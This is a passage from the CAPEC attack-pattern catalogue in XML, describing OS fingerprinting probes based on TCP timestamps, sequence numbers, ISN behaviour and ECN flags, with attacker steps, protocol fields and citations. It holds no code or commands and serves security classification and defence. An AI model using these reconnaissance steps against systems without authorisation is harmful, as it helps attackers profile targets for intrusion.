					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Examples</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="320" Name="TCP Timestamp Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe examines the remote server's implementation
						of TCP timestamps. Not all operating systems implement timestamps within the
						TCP header, but when timestamps are used then this provides the attacker
						with a means to guess the operating system of the target. The attacker
						begins by probing any active TCP service in order to get response which
						contains a TCP timestamp. Different Operating systems update the timestamp
						value using different intervals. This type of analysis is most accurate when
						multiple timestamp responses are received and then analyzed. TCP timestamps
						can be found in the TCP Options field of the TCP header. </Text>
					<Block Block_Nature="List">
						<Text>1. The attacker sends a probe packet to the remote host to identify if
							timestamps are present.</Text>
						<Text>2. If the remote host is using timestamp, the attacker sends several
							requests and records the timestamp values.</Text>
						<Text>3. The attacker analyzes the timestamp values and determines an
							average increments per second in the timestamps for the target.</Text>
						<Text>3. The attacker compares this result to a database of known TCP
							timestamp increments for a possible match.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="TCP Header">
										<Protocol_Field_Name>Options Field</Protocol_Field_Name>
										<Protocol_Field_Description>Options may occupy space at the
											end of the TCP header and are a multiple of 8 bits in
											length. All options are included in the
											checksum.</Protocol_Field_Description>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target OS must support the TCP timestamp option in order to obtain a
						fingerprint. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="321" Name="TCP Sequence Number Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe tests the target system's assignment of TCP
						sequence numbers. One common way to test TCP Sequence Number generation is
						to send a probe packet to an open port on the target and then compare the
						how the Sequence Number generated by the target relates to the
						Acknowledgement Number in the probe packet. Different operating systems
						assign Sequence Numbers differently, so a fingerprint of the operating
						system can be obtained by categorizing the relationship between the
						acknowledgement number and sequence number as follows:</Text>
					<Block Block_Nature="List">
						<Text>1. The Sequence Number generated by the target is Zero.</Text>
						<Text>2. The Sequence Number generated by the target is the same as the
							acknowledgement number in the probe</Text>
						<Text>3. The Sequence Number generated by the target is the acknowledgement
							number plus one</Text>
						<Text>3. The Sequence Number is any other non-zero number.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="TCP Header">
										<Protocol_Field_Name>Sequence Number</Protocol_Field_Name>
										<Protocol_Field_Description>The sequence number of the first
											data octet a TCP segment. </Protocol_Field_Description>
										<Protocol_Operation_Code>ACK</Protocol_Operation_Code>
									</Protocol_Header>
									<Protocol_Header ID="2" Name="TCP Header">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Acknowledgement
											Number</Protocol_Field_Name>
										<Protocol_Field_Description>If the ACK control bit is set
											this field contains the starting value of the next
											sequence number the sender of the segment is expecting
											to receive. </Protocol_Field_Description>
										<Protocol_Operation_Code>ACK</Protocol_Operation_Code>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an TCP ACK segment to an open port and receive a
						response back containing a TCP sequence number.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 55-56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="322" Name="TCP (ISN) Greatest Common Divisor Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe sends a number of TCP SYN packets to an open
						port of a remote machine. The Initial Sequence Number (ISN) in each of the
						SYN/ACK response packets is analyzed to determine the smallest number that
						the target host uses when incrementing sequence numbers. This information
						can be useful for identifying an operating system because particular
						operating systems and versions increment sequence numbers using different
						values. The result of the analysis is then compared against a database of OS
						behaviors to determine the OS type and/or version. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_Field_Name>Sequence Number</Protocol_Field_Name>
										<Protocol_Field_Description>The sequence number of the first
											data octet in a segment (except when a SYN flag is
											present). If SYN is present the sequence number is the
											initial sequence number (ISN) of the connection and the
											first data octet is ISN+1. The sequence number consists
											of 32 bits. </Protocol_Field_Description>
										<Protocol_Data>For purposes of Sequence number analysis the
											data portion of the packet is either empty or
											ignored.</Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="323" Name="TCP (ISN) Counter Rate Probe" Pattern_Abstraction="Detailed"
			Status="Draft">
			<Description>
				<Summary>
					<Text>This OS detection probe measures the average rate of initial sequence
						number increments during a period of time. Sequence numbers are incremented
						using a time-based algorithm and are susceptible to a timing analysis that
						can determine the number of increments per unit time. The result of this
						analysis is then compared against a database of operating systems and
						versions to determine likely operation system matches.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_Field_Name>Sequence Number</Protocol_Field_Name>
										<Protocol_Field_Description>The sequence number of the first
											data octet in a segment (except when a SYN flag is
											present). If SYN is present the sequence number is the
											initial sequence number (ISN) of the connection and the
											first data octet is ISN+1. The sequence number consists
											of 32 bits. </Protocol_Field_Description>
										<Protocol_Data>For purposes of Sequence number analysis the
											data portion of the packet is either empty or
											ignored.</Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="324" Name="TCP (ISN) Sequence Predictability Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of operating system probe attempts to determine an estimate for
						how predictable the sequence number generation algorithm is for a remote
						host. Statistical techniques, such as standard deviation, can be used to
						determine how predictable the sequence number generation is for a system.
						This result can then be compared to a database of operating system behaviors
						to determine a likely match for operating system and version.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="TCP" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_Field_Name>Sequence Number</Protocol_Field_Name>
										<Protocol_Field_Description>The sequence number of the first
											data octet in a segment (except when a SYN flag is
											present). If SYN is present the sequence number is the
											initial sequence number (ISN) of the connection and the
											first data octet is ISN+1. The sequence number consists
											of 32 bits. </Protocol_Field_Description>
										<Protocol_Data>For purposes of Sequence number analysis the
											data portion of the packet is either empty or
											ignored.</Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>315<!--TCP/IP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="325" Name="TCP Congestion Control Flag (ECN) Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>This OS fingerprinting probe checks to see if the remote host supports
						explicit congestion notification (ECN) messaging. ECN messaging was designed
						to allow routers to notify a remote host when signal congestion problems are
						occurring. Explicit Congestion Notification messaging is defined by RFC
						3168. Different operating systems and versions may or may not implement ECN
						notifications, or may respond uniquely to particular ECN flag types. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="IP" RFC="791">
								<Protocol_Structure>
									<Protocol_Header ID="1" Name="IP Header">
										<Protocol_RFC>RFC 3168</Protocol_RFC>
										<Protocol_Field_Name>Explicit Congestion Notification (ECN)
											field. Bits 6 and 7 in the IPv4 TOS octet are designated
											as the ECN field.</Protocol_Field_Name>
